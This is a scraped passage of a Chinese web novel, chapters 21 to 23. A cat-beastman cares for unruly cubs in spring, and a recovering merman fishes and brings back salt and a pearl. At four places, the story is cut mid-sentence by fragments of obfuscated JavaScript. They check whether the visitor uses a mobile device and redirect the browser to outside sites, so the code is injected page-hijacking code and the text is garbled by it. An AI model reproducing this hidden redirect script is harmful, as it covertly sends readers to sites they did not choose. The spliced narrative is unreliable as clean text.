“没见过。”白争争望湛蓝的天空,被风吹得一抖。 看来是真的快到春日了,连鸟都回来了。 “回去吧。” “这黑鸟看着很凶,以后见到了离远点儿。” 进了山洞,烬就立在门口。 白争争忙给他搀住,往里边走边道:“你出来干什么?” “出来看看。” “没什么好看的,就是一只大黑鸟。” 烬见白争争态度随意,便没仔细想。转头进了洞,又被按着坐床上休息了。 * 春回大地,气温陡然上升。 关闭了五个月的洞门大开,带着清新泥土与青草味道气息飘进山洞。 白争争在清理洞口的雪。 幼崽蹲在洞口,仰头东张西望,看个飞鸟经过都激动得嗷嗷叫。 关了这么久,再关下去真的要傻了。 啪嗒—— 芽一愣,爪垫摸了摸眉心,湿漉漉的。 “谁泼水了!”他气愤道。 雁蹲在洞口最后一堆木柴上,看了眼芽的眉心,忽然仰头。 只间洞口边缘,一圈笔直而下的冰凌排列着。上面还挂着晶莹剔透的水珠。 她推了推芽的后背,示意他抬头。 芽眼睛一亮,立刻爪子勾出,抱着石壁往上爬。其他幼崽有样学样,纷纷往上。 白争争一下没听到幼崽的动静,回头一看,吓得他心脏突突! “你们干什么呢!” 只见十几个毛绒绒勾着石壁往上,爬得最快的芽都到洞顶了,那小爪子都已经快要勾住冰凌了。 白争争甩了铲子就往洞边跑。 洞里的烬闻言出来,就见石壁上的幼崽争先恐后往下跳。甚至看都不看一眼自己爬了多高。 烬一手勾一个,拎着幼崽后颈,递给白争争。 白争争一把捞过来,按在膝盖上就拍。 “谁带的头?” 芽捂住屁股嗷嗷叫。 “不是我!我没有叫他们!” “争争,错了,错了!”其他幼崽叫。 烬眼里笑意微闪,捡起地上的铲子往洞顶扫过。那冰凌就落下来砸得稀烂。 白争争指着那散落一地的碎冰教导幼崽:“那东西那么尖锐,万一掉下来一个砸到脑袋,那是要破个坑的。” 幼崽哭唧唧,抱住白争争扬起还要打的手。 “错了,错了,不玩儿了。” 一旁没有参与的雁叹息。 真蠢。 不像她。 她走到烬身边,爪垫踩在他脚上,仰头道:“烬,给我一个。” 烬低头看了她一眼,随手掰了个小的放在地面。 雁尾巴高高翘起,道了一声“谢”,然后欢欣地玩儿她的冰凌去了。 看得被正被白争争收拾的幼崽羡慕坏了。 幼崽闹了这么一通,白争争立即把余下的冰凌给敲了。 洞口清理出来,雪水化开后地面就是破土而出的新鲜嫩草。 幼崽们得了允许,踏出洞口,撒欢儿乱跑。 “就在洞口附近,别跑远了!”白争争叮嘱。 “知道了争争!” 一群幼崽结伴而出,遇到个小树苗都得爬上去跳一跳。 白争争一边招呼幼崽,一边清理山洞,忙得不可开交。 烬只腰间围了一块兽皮,不怕冷似的,跟上幼崽的队伍。 白争争见状,心里安定了些。 开春之后,雪化得极快。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206519|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这不才出太阳两日,洞口都已经被雪水浸湿。连铺在最底下的干柴都潮了。 过了一个冬季,他们存储的柴火就剩下面前这点儿。要是湿了,只能吃冷的去。 清则跟年收拾洞里。 关了几个月的山洞难免有味道,用干草清扫出来,满满一大团的猫毛。 更莫说那边边角角的骨头,食物碎屑,乱七八糟的皮毛边角料,木屑,干草碎,不知什么时候跑进来的昆虫的尸体…… “争争,洞里这些灰怎么办?”年问。 一个冬季,他们可积累了不少的草木灰。 白争争忙道:“挖出来,找个地方放着。这东西有用。” “好。”年用藤筐转移洞中的草木灰,动作再轻,也难免到处飞。 白争争清理干净外面,赶紧进去,让清帮忙将他们盖着的兽皮拿出来,挂在架子上好好拍一拍。 等洞里收拾完了,再重新放回去。 忽的,山中响起一阵凌乱的鸡鸣。 白争争扫了眼洞口,发现那群小崽子早不见了影子。 “幼崽呢!” 清跟年追出来瞧,吓得赶紧往山里跑。 他们寻着声音找去。 结果就将烬站在一旁,跟放羊倌似的,看着那些个小崽子在林子里追着一只咕咕鸡跑。 白争争一过来,烬回神看他。 白争争喘着气,没好气道:“不是说了在洞口玩儿。” 烬:“他们找到那咕咕鸡,追着追着就过来了。” 白争争目光重新落到幼崽身上。 一个个毛毛上沾了枯枝干草不说,四个爪子满是泥浆。看得白争争眼皮直跳。 就放出来这么一会儿,脏成这个样。 这幼崽不能要了。 “咯咯咯!!!”伴随着一阵凄厉的鸡鸣,芽咬住了咕咕鸡脖子。其他幼崽一拥而上,一个个压住了那已经被他们追得精疲力尽的咕咕鸡。 白争争再次感叹:“不能要了。” “嗯?”烬看那咕咕鸡虽然瘦,但也有一点肉。 白争争面无表情:“幼崽不能要了。” 烬轻笑一声,肩侧的长发随着风轻轻晃了晃。 白争争看向他,气鼓鼓的。 也是相处久了,又陪着烬康复,两人快速熟悉了起来。 或许有了个朋友,白争争偶尔能露出几分原来的脾性来。 同样,他也摸清了的烬的脾气。看着凶,但很有包容性。对幼崽更是纵容。 “笑什么笑!”白争争怒道。 亚兽人的头发长了,已经到了锁骨。黑发被他用草绳随意绑了几下,兴许是着急跑来,散了不少在脸侧。 烬:“没笑。” 烬见他头发上挂着草,欲抬手给他摘下。 哪曾想白争争先一步伸手过来,捏住他的脸。 烬疑惑看着他。 白争争手一烫,嗖的一下收回来。“不许捏我的脸!” 烬:“没有。” 白争争:“那你刚刚……” 烬笑出声来,随手摘下白争争头上的草叶递给他。 “这个。” 白争争顿时呛咳了两声,立马别过头。 误会了! 21.第 21 章 烬扔了草叶,瞧着白争争红得滴血的侧脸,没再说起刚刚那一茬。 他转而道:“幼崽的事也不能怪我,我只帮你看着他们不受伤。玩闹是天性,而且他们不是在玩儿。” “对,我们不是玩儿!”雁艰难地从幼崽肚皮下挤出脑袋,眼睛都变形了,“我们是在捕猎!” 白争争瞪了她一眼。 随后气势汹汹走到幼崽身边。 雁见势不对,撒丫子飞快撤退。 白争争一手将她捞住,笑道:“跑什么,我还会吃了你们?” 他将幼崽轻轻拨开,拎住最下面的咕咕鸡翅膀。 “好了,松开吧。” 芽吃了一嘴的毛,赶紧爬起来呸呸两声。 白争争:“回去,瞧瞧你们脏的。” 幼崽你看我,我看你,趁着白争争不注意抬起泥泞的爪子就往最近的幼崽身上擦。 走了几步,看后头烬还慢悠悠,白争争停下来道:“腿酸不酸?” 烬:“还好。” 白争争看着他的脸,哈哈笑出声来。 他记得自己没怎么用力,烬脸上怎么多了两处鲜艳的红印。 烬却挑眉,示意他看脚边的幼崽。 顿时,白争争脸上的笑容就转移到了烬的脸上。 “小兔崽子!还嫌不够脏!”声音惊飞了林子里的鸟。 这怎么擦得干净,刚开春又不能直接给他们洗澡,顶着这一身脏乱毛毛自个儿睡地上去! 白争争气咻咻地拎着咕咕鸡走了。 幼崽们争先恐后追上去。 “争争,错了!” “错了错了!” “真的错了。” 烬忍俊不禁。 他落在队伍后头,走路稍缓。但因腿长,也与幼崽们保持着不远不近的距离。 清跟年听到声音从山另一边绕过来,看着跟在白争争身后的幼崽,数了数,一个不少,这才松了口气。 又看泥坑里滚过似的一群小家伙,毛里不是石子儿就是草,心又一提。 “这是摔哪儿……” 白争争道:“没事,抓咕咕鸡滚的。” 清这心里一起一伏,看幼崽规矩坐在白争争腿边,毛毛打湿了,显得那巴巴望过来的眼睛又大又圆。 气也不是,不气也不是。 “真是……这要怎么弄。” 白争争无奈:“兽皮擦擦吧。” 这天气总不能扔水里涮一涮。 外面还是冷的,幼崽领回来后,白争争将咕咕鸡交给年去处理,然后跟清、州两个抓着幼崽擦泥。 那陶锅上,热水滚烫。 州将水给舀出来,兑在烂陶锅的冷水里。摸着差不多了,对白争争点个头。 白争争看向那乖巧蹲在火堆边的幼崽,勾了勾手指。 幼崽你推我,我推你,然后撒腿就往清跟州身边跑。 白争争随手捞起一个。 是个小胖子。 “争争,不要你擦。”肉肉肚子被白争争托着,蹬着四条腿儿挣扎。 烬坐在白争争旁侧,身上被幼崽甩过来几个泥点子。 他默默伸手,帮白争争拎住肉的后颈。 幼崽一下子团成球,老实了。 白争争拧了兽皮,往肉身上一扑,胡乱搓着他身上的毛毛。 烬稍稍托住幼崽屁股,听他蒙在兽皮里,呜呜叫唤。 他看向眉头拧得死紧的白争争,想:怪不得幼崽不乐意过来。 这哪里是擦毛。 分明是泄愤。 但烬没有半点同情心,擦完一个又帮白争争拎来另一个。跟流水线似的,幼崽看他两眼控诉。 “你怎么帮争争!”芽落在他手上,蹬腿儿道。 白争争拍得他脑瓜子邦邦响。 “安分点儿!” 一套流水线般的搓洗,幼崽个个蔫头巴脑,毛发微湿地重新回到火堆前。 白争争甩了甩酸软的手臂,看着换了几次了还有些浑浊的水,道:“脏死了。” 雁默默背对白争争。 “雁,说的就是你。” “错了。” “光说错了,怎么个错法?” 这小家伙最机灵,没准儿出洞的时候就决定要抓几只猎物回来。那只咕咕鸡被盯上,毛都薅秃了,也是倒霉。 白争争倒不是气这个,只是他们招呼都不打一声,就跑到山里去了。 这才开春,山里他们还没清理过,哪敢放他们在山中乱跑。就是跟了烬,那也不行。 雁抖了抖毛,被白争争凶巴巴的眼神看得往烬身后躲藏。 “错了!”她心虚地高声叫到。 白争争头疼。 这群小兔崽子,但凡做点什么错事,来来回回都是那一句“错了”。 他耳朵都听出茧子了。 清抱起陶罐道:“算了,下次记住就是了。” 州也赶紧捡了几块兽皮,跟着清一起出去。 争争在生气,最好不要惹。 这事儿不能这样完了,白争争转到烬的另一侧,将幼崽拎出来。 他点着这些崽子的脑门,好坏利弊都跟他们讲清楚。 烬坐在白争争身后,忽觉手背擦过一道柔软。 他垂眼,却见一条毛乎乎的尾巴在焦躁地晃动着。那尾巴长,毛绒绒的,尾巴尖是一撮白色。 烬看向还在跟幼崽说话的白争争。 手腕内侧酥痒一闪。 烬默默放下手来。 他还从未见过亚兽人人形的时候露出尾巴,想到那触感,手指微颤。 “懂了吗?” “懂、懂了。”幼崽们目光真挚道。 再不敢了,耳朵嗡嗡的,脑瓜子涨涨的,全是争争刚才说的话。 “那给我保证。” 幼崽们纷纷抬起一只爪,道:“我们向兽神起誓,以后去山里一定告诉争争,遇到危险一定先跑。” 白争争满意点点头。 烬却再没心思关注他们说了什么,只看着得寸进尺,一下垂下搭在自己腿上的大尾巴,默默不敢动。 这事儿就算这么完了。 幼崽们紧盯着白争争,希望他赶紧去做自己的事去。 绒球跟三个苗苗没参与这事,看见白争争身后的大尾巴,眼睛一亮,蹦跳着跑来。 白争争还以为四个小乖崽要安慰他呢,结果尾巴上一紧,顿时一股酥酥麻麻的感觉从尾骨沿着脊椎,像细微的电流经过,瞬间传到整个身体。 白争争头皮发麻,飞快收了尾巴。 后头的三个苗扑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223922|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个空,狐疑看着白争争。 “争争,玩儿。” “不行!”白争争脸绯红,话声微颤。 白争争望着烬,眼里全是控诉。 烬坐着,微微抬眼。好看的眉眼温和带笑。 “你、你怎么不提醒我。”白争争现在还紧拽着手指,要不是强撑着,早趴下来打几个滚了。 太难受了。 烬:“我也没注意。” 白争争:“你看我信吗?” 烬:“相信一下。” 白争争给他逗得发笑,又狠狠跺了跺脚,那股太过敏.感的难受劲儿才算过去。 他不知道别的兽人被摸尾巴是什么感觉,但上辈子作为一个人,他就是习惯不了。 他一直藏着,也就只有情绪失控时,才偶尔冒出来。 白争争满身的不自在,抛下幼崽,出了山洞。 烬还坐在蒲团上,又不经意想到那刚刚搭在腿上的毛绒尾巴。 比兽形的时候看着,应该更好摸。 * 雪彻底化完,溪水解冻。 春雨又绵绵不断,从早下到晚。山洞里肉眼可见的潮湿起来。 水洇湿了不少地方,石壁上长了青苔,连收进洞中没怎么沾过雨水的木柴都不怎么好烧了。 不止如此,洞中食物也消耗殆尽,差不多该出去捕猎采集。 为此,白争争将几个年纪大的兽人叫到一起,商量之后的事情。 烬也与他们一起坐着。 “争争,我们还是先把周围清理一遍吧。”年道。 每年开春,动物都跑出来了。 兽人居住的地方对野兽来说很有吸引力,这时候就需要兽人将领地附近巡视个几圈,将有威胁的野兽赶走。 林猫部落原来都是这么做的。 白争争道:“这个自然。” “不仅要看野兽,还要看看这边有什么能吃的植物,以及还有没有什么兽人邻居。” “好,这个包在我身上。”年道。 …… 几个年长兽人们商议着事情,幼崽也没闲着。 芽不知从哪里追出来一只手掌那么长的虫,爪子左右勾着,吸引了幼崽们眼神。 他们跟找到了新奇的玩具似的,悄悄摸摸凑过去,你勾一下,我摔一下。 等虫子跑了,又欢欢喜喜追上去。 白争争只随意扫过一眼,当即吓得一把抓住近旁的兽人。 烬动了动手指,任由他握着手腕。 “……芽!还不给我吐出来!” 白争争鸡皮疙瘩都起来了。 那么长的蜈蚣,那么多只脚,那玩意儿是有毒的! 芽呆呆看来,嘴里咬住一截的蜈蚣还在动。 年先一步拎住那虫一扔,赶紧检查崽子。 “被咬了没?” 幼崽缩着脖子,缓缓摇头。 白争争飞快搓着自己胳膊,他别的不怕,就怕这玩意儿。 小时候被咬过,可疼了。 烬见他脸色发白,微微起身挡在他前面。 白争争隔着烬肩膀,喝道:“扔出去,弄远一点。” 清纳闷:“哪里来的虫?” 芽指了指柴堆。 这就是住山洞的弊端,挡不住蛇虫。 22.第 22 章 环洲陆地少,大多地方是海洋。 烬也恢复好一阵了,打算下水试试。 白争争随他一起靠近海边,蹲在礁石上,看烬一步步深入海中。 那暗红的大尾巴渐渐浮出来,在清透的海水中若隐若现。 白争争看他缓缓沉入海中,不知怎的心里一慌,追到礁石边缘,高声问道:“多久回来?” 水面平静,人鱼像走了。 白争争有些失望,蹲在礁石上发呆。 忽的,海水哗啦一响,跟前水中探出个脑袋来。 白争争吓得坐在礁石上,看清是烬,当即逮着个手边爬过的小螃蟹冲着他扔过去。 “猫胆子很小的!” 烬仰着头,长发沾湿贴在脸侧。他脸上带着笑意,分明是等着吓他。 白争争没忍住又问:“多久回来?” “不走。” “尾巴能不能用?” “可以。”烬望着亚兽人蹙紧的眉头,尾巴用力忽的腾起,张开手臂虚虚将亚兽人抱住,轻轻摸了摸他的头顶。 “要不要下来玩儿?” 白争争被人鱼的气息包裹,耳垂悄悄变红。他看着人鱼眼睛道:“等、等下次。” 烬缓缓下沉,笑道:“好。” “那我走了。” 白争争还没来得及说其他,水面就彻底不见了人鱼影子。 白争争在岸边守了一会儿,才转身回去。 “争争,那我们也进山了。” 回到洞口,年几个已经背着弓箭,打算出门了。 白争争道:“早点回来。” 年道:“我们知道。” 这一下,洞里就剩下十几个幼崽跟白争争一个成年兽人。 幼崽闲不住,这会儿凑溪边抓小鱼去了。 白争争看着过了一个冬季空了不少的山洞,干脆将剩下的东西都清一清。 去年囤的菜干已经吃完了,就剩下石壁边是堆的十几根紫皮根。兽肉干早吃完了,就剩几条鱼和一些小海鲜干。 等年他们巡视回来,明天就该出去捕猎,不然洞里就要断粮了。 白争争将海鲜干归到一个藤筐,余下的拿起溪边涮一涮,晾干了再垒起来放到洞中。 用过的草绳也缠起来,放藤筐里,以后有用处。 像那些冬日里做出来的工具,就专门放在原本做的那些粗糙藤筐里,用的时候直接取。 收拾完,洞内腾出来一大半空间来。 幼崽们闹着跑回来,一个个嘴上叼着一根细长的草茎,草茎上串着一串儿拇指大小的鱼。 “争争!我们捕鱼回来了!” 白争争见状,夸道:“真棒!小小年纪就知道捕猎了,年像你们这么小的时候还在玩儿泥巴呢。” 幼崽一个个被他夸得尾巴高高翘起。 白争争笑道:“说吧,想怎么吃?” “小鱼干!”幼崽道。 “行。”白争争拿了两个陶碗过来。 幼崽岔着四条腿儿将鱼串串放进碗中。 他们叼着的草上,多的鱼有十来条,草茎都满了。少的也有两三条,就比方说雁。 雁理直气壮道:“不是我抓不到,是我不想沾水。” 白争争后知后觉看向其他幼崽,果不其然,大部分四条腿儿都打湿了,有些肚子上的毛毛都是湿的。 白争争赶紧将他们赶去火堆旁。 “烤干,不烤干不许离开山洞。” 雁得意,又盯着慌乱往火堆边走的幼崽,就差背着两爪子摇头叹气,指着幼崽说句“笨蛋”了。 白争争戳了戳小家伙脑袋。 “你也去。” 雁要反驳,白争争斜睨一眼,小家伙立马屁颠屁颠跑同伴身边去了。 “争争不讲理。”雁一头撞在圆的身上,小声诽谤。 “理是什么?”芽搓着肚子上湿漉漉的毛毛,转头看来。 肉好奇问:“能吃吗?” 雁整个脑袋藏在圆背上,身子软趴趴滑下来。 肉滚过一圈,还扒拉她问:“能吃吗?” 雁道:“不知道,问争争。” 幼崽消声。 没一个敢问。 冷水鱼小,不用刮鳞破肚,直接放在火边烘着就行了。 白争争将小鱼洗了洗,直接取了筛子,将鱼铺平。 陶锅边的熏肉的架子已经拆了,白争争又重新绑了个三脚架进来,将筛子架在上面。 弄完之后,才见日头升到正中央,赶紧洗锅做饭。 中午时,年他们也没回来,白争争就带着幼崽一起吃了,让他们去睡午觉。 午后醒来,阳光愈盛。 白争争拎起藤筐,又在里面放了个小笼子,随后走到石床边,戳了戳兽皮上鼓起的一个个小包。 “去海边,去不去?” “去~” 白争争又等了一会儿,才看他们慢慢蛄蛹着爬出来。 关了洞门,白争争背着一筐子幼崽往海边去。 海风悠悠,阳光照得沙滩灿烂。 到了地方,白争争将藤筐一放,幼崽就跑了出来。 自冬日后,他们第一次来海边。先不管三七二十一,爪垫踩在沙滩上就开始刨坑。 那脚感,舒服得幼崽沉醉倒下,欢欣打滚儿。 白争争看着裹了“黄豆面”的芝麻团子,交代道:“不要靠近海水。圆,看着他们点儿。” 圆跟幼崽齐道:“知道啦!” 海边零碎的海鲜不少,但白争争目标不是这个。 他先将藤筐里的笼子拿出来放在一边,又攀上礁石,用石刀弄破几个海蛎。 海蛎肉掏出来扔笼子里,随后拉着草绳往礁石边的海水中一扔,只等着海鲜送上门来。 下了笼子,白争争回头看幼崽一眼。 他们滚够了沙,也找起来海鲜。 白争争放下心,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229947|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掏礁石缝。 “咕咕咕~” 肉扔下爪子勾着的海虾,往沙滩上一倒,捂着肚子叫:“好饿好饿。” 绒球吧唧趴在他背上,四条腿在沙滩上倒腾出一条长长的痕迹。 白争争看时间差不多了,晃了晃藤筐里抓到的大螃蟹,然后将下的笼子拉起来。 刚一动,里面就有窸窸窣窣的声音。 待到全部拉起来,里面被螃蟹占满了。 白争争赶紧放进藤筐里,拎上就走。 “回了!”他站在礁石上喊。 白争争又忍不住望了眼海绵,不见那条暗红的人鱼。 烬说试试恢复得怎么样,也不知道他要游多远。 幼崽缓慢挪动,汇聚在他们抓的海鲜旁。 海鲜有八爪鱼、海螺、螃蟹,还有些海菜。白争争全部捡到藤筐里,拎上走不动的小崽子,回山洞。 下午,还没到饭点儿。 白争争将礁石里抓的几个大螃蟹清蒸了,直接给幼崽啃。礁石堆里抓的那些小螃蟹则煎了些,又留下一半做汤。 蟹肉鲜甜,一个巴掌大,幼崽们抱着啃得停不下来。 白争争吃了几个螃蟹过过瘾,又看天快黑了,有些担心还没回来的兽人。 他正要去洞口看看,就见年、清还有风那四个少年从树林里钻出来。 时下天冷,风他们身上的兽皮是从冬日那三身兽皮衣上拆下来做的。 白争争看他们好胳膊好腿儿,一个没伤,才扬起笑来。 “争争!我们回来了!”清道。 白争争道:“先回去吃饭吧。” 年几个确实饿了,忙扔下手里的长耳兽,先钻进山洞吃饭。 喝了几口汤,先垫了垫肚子,才有空说起外面的事情。 年叼着螃蟹腿儿道:“争争,这附近我们没有看到穴兽的踪迹,只遇到几头角兽。往里面走地更加平,还有很多积水的地方,那里面大鱼不少。” “这边灰鸟大是大,但好像不多。咕咕鸡跟长耳兽也就偶尔能见到些。” 清也道:“这里很多植物我也不认识,我们常吃的只能找出来几样。” 风道:“可惜,那黑鸟我们没看见。” 那东西一看就好吃。 白争争早有预料,这边物产不比他们部落那边丰富。 “除了这些,有看到什么兽人部落没有?” 年摇头:“别说部落,兽人的影子都没看见。” 说着说着,天黑了下来。 兽人们跑去溪边收拾,白争争却频频看向洞外。 等到幼崽都在床上打起来小呼噜了,白争争有些坐不住,直接起身出去。 清在溪边看到,忙问:“争争,你去哪儿?” 白争争道:“海边。” “哦,烬还没回来呢。”年往清肩膀上一靠,盯着亚兽人的背影,“他两个有猫腻。” 清怼了他一肘子:“别胡说。” 23.第 23 章 月色昏黄,只一轮弯月悬在海面。 白争争刚走出林子,就见沙滩上坐着个人。林猫兽人夜能视物,他认得那是烬。 白争争眼睛微亮,快步靠近。 烬微微喘.息着,听出是亚兽人,目光霎时从冷厉转为柔和。 白争争一下蹲在他旁侧,笑容灿烂。 “烬!你才上岸啊。” 他顾着高兴,猫尾巴却不知何时跑了出来,虚虚扫过烬的手背。见他下巴上还挂着水,问:“回来了怎么不进山洞?” 烬手背泛痒,看过一眼,手放在那儿没动。 他道:“歇会儿。” 尾巴忽的抽搐,烬没来得及挡下,白争争一掌按在了他尾巴上。 “疼?”白争争拧眉问。 一股麻意袭上心头,烬一把抓住亚兽人的手腕。 “不疼,缓一会儿就好。” 白争争盘腿在他身旁坐下,道:“我给你按按。” 烬目光停在他脸上,慢慢放了手。 手腕痒痒,却见那毛绒尾巴得寸进尺,已经圈在了自己腕上。 白争争调整了下姿势,往烬尾巴边挪了挪。 人鱼的尾巴上覆盖着一层漂亮的鳞片,触手温凉,像玉石一样触感细腻。 白争争摸过很多次了,但还是被那奇特的感受激得心上一跳。还隐约有点越摸越上头的感觉。 烬看着白争争被头发半掩的侧脸,看他鼻尖比发尾拂过,发痒地皱了皱鼻头,目光闪烁着星芒。 “争争。” “嗯?” “想去王城吗?” 白争争按着尾巴的手停下,紧盯人鱼,连缠在烬手腕上的尾巴都忍不住绷紧了。 “你要走了吗?”他追问。 “不走。”烬手指轻轻勾过那猫尾巴。 白争争低着头道:“王城有机会我应该会去,不过得先找到我的族人。” 烬:“那不会在这里待多久。” “应该不会。”白争争道。 按了会儿尾巴,烬感觉缓和得差不多,悄然动了动手腕。 白争争尾巴尖被拉扯着,后知后觉看着自己缠在人鱼手上的尾巴,猛地收了回来。 他的面色微红,好在夜色挡住看不见。 烬在他面前摊开手。 珍珠圆润,极大一颗。 白争争惊喜,双手捧着傻笑凑近。 烬被他可爱到。 手一转,放在亚兽人的手心。 “给我的?”白争争道。 烬:“嗯。” 白争争欢喜,顿时忘了尾巴那事儿。 烬揉了揉他的头发,触手柔软,又没忍住多揉了几下。 “回去吧。” “唔。”白争争匆匆往前。 烬变了腿,往腰间围了兽皮,才拎着两条大鱼跟一个封口紧实的兽皮兜跟上白争争。 洞中火烧得不算旺,柴堆又矮了一半。 “哟!可算回来了。都把争争急坏了。”年道。 白争争睨他:“你不急?” “可没你……”年的话说到一半,看到烬手上提着的两条大鱼,忙改口,“急,我也很急!” 他笑嘻嘻地上前迎过烬手上的两条鱼,立马去了溪边处理干净。 正好明天要干活儿,早上出去时先吃一顿好的补补。 白争争洗过手,给烬盛了一碗肉汤。 烬坐在蒲团上吃,白争争就坐在他对面。 他先打量了一会儿烬的腿。 养了这么久,烬腿伤好了。但那长久在海里游出来的肌肉还没养成,两条腿有些瘦。 白争争把玩着烬给他的珍珠,瞧了一眼,竟然跟他尾巴一个颜色。 他好奇问:“你游哪儿去了?” 烬道:“往南走了一段。” 他示意白争争去看那兽皮兜。 白争争狐疑,揣好珍珠,抓着兽皮兜打开一看,竟是盐! “你跑盐湖去了!” 烬道:“刚好遇到,山洞里盐没剩多少了。” 白争争喜笑颜开,宝贝似地拎着兽皮兜去了放盐的罐子边,将兽皮兜里的全倒进去。 “又能吃很久了。” 不过从盐湖那边过来他们要走快一个月的路,人鱼一天时间就一个来回,那速度得是有多快。 怪不得尾巴会抽筋。 这份心意白争争也记下了。 天色已经不早,洞内安静下来。 白争争变做小猫,蹲在烬手臂边。想了想,又跳上他尾巴帮他踩一踩。 烬尾鳍轻颤,轻轻一卷,勾着小猫送到腰腹。 他大掌轻轻笼住小猫全身,由着那小尾巴勾住自己手指,低声道:“没事了,快睡吧。” 小猫动了动绯红的耳朵,四肢趴下来。 反正他不是人形,不害臊,不害臊。 * 林鸟成群,躲在林间轻鸣。 早时,白争争一行吃过早饭,背着藤筐、弓箭,扛着斧头、长矛,飞速向着内陆奔跑。 年之前带着兽人早勘察过,在山洞往内陆跑半日,有一片湿地。 湿地上食草的野兽成群,也有角兽的身影。 这是他们第一次跑这么远捕猎,要是能捕得几头大一点的野兽,之后几天可以不愁吃喝。 越是往内陆走,所见的植被越茂密。 枝头上新绿簇簇,春花烂漫。一路上鸟雀惊飞,长耳兽跑跳,数不清的小虫子在空中结成群…… 春光更盛了。 半个上午,他们一行都在赶路当中。如年所说,这一路上没有遇到任何兽人的气息。 太阳正当头顶时,他们跑出林子,被眼前一望无际的水滩晃了眼。 “角兽!” 风当即捂住羽的嘴巴。 白争争蹲下,隔着灌木丛盯着湿地上的野兽。 这片地方像未有兽人涉足过,水流平缓,干净清透。其上水草丰茂,食草野兽成群。 还有各式各样的鸟在其中,衔泥筑巢,或伏低脑袋找食。 要是一年四季这地方都这样,那他们的冬日就不会难熬。 “争争,你说我们抓哪个?”年看着那些野兽,嘴里都快流口水了。 白争争笑言:“你还挑上了。” 他紧了紧手里的弓箭,道:“能抓到什么是什么,那头角兽不要放跑了。” 他还惦记着幼崽爱吃这个。 在兽人们开始捕猎时,清带着圆六个幼崽已经掐了一筐的水芹。 那水芹太嫩,一掐清脆而断。 圆蹲在跟他一样高的水芹边用爪子割,对旁边的清道:“清,要不咱们跟争争说搬家到这边,好多吃的啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15232455|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清:“那边靠海。即便捕猎不成功,那也有保底的食物吃。” 说话间,清见几个兽人围堵的角兽嘶鸣,顿时吓跑了湿地上的野兽。 他示意幼崽们看。 “我们不是总那么幸运,捕猎并不能每次成功。” 幼崽们动着嘴巴,巴巴看着那角兽跑远。 好吃的肉没了。 “那我们不呆在这儿,我们回部落呢?”有幼崽道。 清捡水芹的手一顿,缓缓摇头。 “现在兴许还不能回去。” “可是我们想回去……争争一直不说什么时候回,我们都不敢问。要不清你去问问?”圆小身子贴着清的小腿,轻声道。 清:“好吧,我问问。” 幼崽们很容易满足。清答应了,他们就欢欢喜喜地继续找嫩菜叶。 时至中午,刚来的兽人们没捕到什么好东西。 只插了几条鱼,跟幼崽们采的水芹一起吃。吃过后,兽人们又继续去水边蹲守。 不抓到猎物他们也不会走。不然跑这么远来,白费了时间。 洞中。 烬在白争争他们走后,看洞中没多少吃的,干脆带着幼崽们去海边走了一圈。 他走在前,幼崽远远追在他身后。 知道是要找食物,雁自觉带头,指挥着幼崽们在沙滩上抓海鲜。 烬看了他们一眼,直接下水。 人鱼抓鱼是再简单不过的事情,他去水中游过一圈,追着鱼尾巴一拍,一条鱼顿时破海而出,掉落在沙滩上。 鱼还挺有活力,摔在幼崽身边,摆着尾巴还试图往水里走。 幼崽们愣了一下,意识到是烬扔上来的,当即凶横龇牙,一爪拍在鱼头。 接着,天上似下起了鱼雨。 幼崽们沙也不挖了,兴奋地在沙滩上跑来跑去,专门捡烬丢上岸的鱼。 两边配合,幼崽们将捡回来的鱼堆得高高的。 不一会儿,鱼就够吃个两顿了。 烬游到岸边,变了腿围着兽皮上岸。 幼崽们乖巧蹲在鱼堆胖,星星眼望着他,毫不掩饰的崇拜。 烬:“藤筐呢?” 雁当即跟幼崽们从林子里将藤筐拖出来,献宝似的推到烬跟前。 要不是还有点怕人鱼,早一股脑堆在他身上去了。 烬将鱼装在藤筐里拿去收拾了。 幼崽离他几步远,紧跟在他身后看。 